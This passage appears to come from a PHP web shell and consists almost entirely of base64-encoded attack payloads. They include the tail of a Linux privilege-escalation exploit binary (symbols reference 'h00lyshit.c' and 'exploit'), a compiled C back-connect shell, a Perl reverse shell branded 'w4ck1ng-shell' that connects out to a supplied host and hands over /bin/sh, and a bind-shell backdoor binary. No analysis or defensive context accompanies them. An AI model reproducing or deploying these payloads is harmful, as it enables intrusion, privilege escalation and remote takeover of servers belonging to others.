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
AvH/DQQAAAAAAAAAAAAAIAAAAABjYWxsX2dtb25fc3RhcnQAY3J0c3R1ZmYuYwBfX0NUT1JfTElT
VF9fAF9fRFRPUl9MSVNUX18AX19KQ1JfTElTVF9fAHAuMABjb21wbGV0ZWQuMQBfX2RvX2dsb2Jh
bF9kdG9yc19hdXgAZnJhbWVfZHVtbXkAX19DVE9SX0VORF9fAF9fRFRPUl9FTkRfXwBfX0ZSQU1F
X0VORF9fAF9fSkNSX0VORF9fAF9fZG9fZ2xvYmFsX2N0b3JzX2F1eABoMDBseXNoaXQuYwBjbWQA
YXJnAGMAdABlAGEAZXgAYgBnZXRwaWRAQEdMSUJDXzIuMABfRFlOQU1JQwBzdHJkdXBAQEdMSUJD
XzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAGZmbHVzaEBAR0xJ
QkNfMi4wAF9fZmluaV9hcnJheV9lbmQAX19kc29faGFuZGxlAG1tYXBAQEdMSUJDXzIuMABfX2xp
YmNfY3N1X2ZpbmkAZXhlY3ZlQEBHTElCQ18yLjAAY2htb2RAQEdMSUJDXzIuMABfaW5pdABwcmN0
bEBAR0xJQkNfMi4wAHNjaGVkX3lpZWxkQEBHTElCQ18yLjAAZnN0YXQAc3Rkb3V0QEBHTElCQ18y
LjAAc3RkZXJyQEBHTElCQ18yLjAAd2FpdHBpZEBAR0xJQkNfMi4wAF9zdGFydABfX2Z4c3RhdEBA
R0xJQkNfMi4wAG5pY2VAQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9p
bml0AF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRf
YXJyYXlfZW5kAHN0cmNhdEBAR0xJQkNfMi4wAGRhdGFfc3RhcnQAcHJpbnRmQEBHTElCQ18yLjAA
X2ZpbmkAbWVtY3B5QEBHTElCQ18yLjAAZXJyb3IAX19wcmVpbml0X2FycmF5X2VuZABfX2V4Y29k
ZQBvcGVuQEBHTElCQ18yLjAAZXhpdEBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9U
QUJMRV8AX2VuZABnZXRjd2RAQEdMSUJDXzIuMABtZW1zZXRAQEdMSUJDXzIuMABfX2V4Y29kZV9l
AF9faW5pdF9hcnJheV9zdGFydABfX2ZzdGF0AF9JT19zdGRpbl91c2VkAG1hZHZpc2VAQEdMSUJD
XzIuMABzcHJpbnRmQEBHTElCQ18yLjAAX19kYXRhX3N0YXJ0AF9Kdl9SZWdpc3RlckNsYXNzZXMA
ZXhwbG9pdABfX3ByZWluaXRfYXJyYXlfc3RhcnQAX19nbW9uX3N0YXJ0X18A";
$back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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EgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA==";
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$backdoor="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+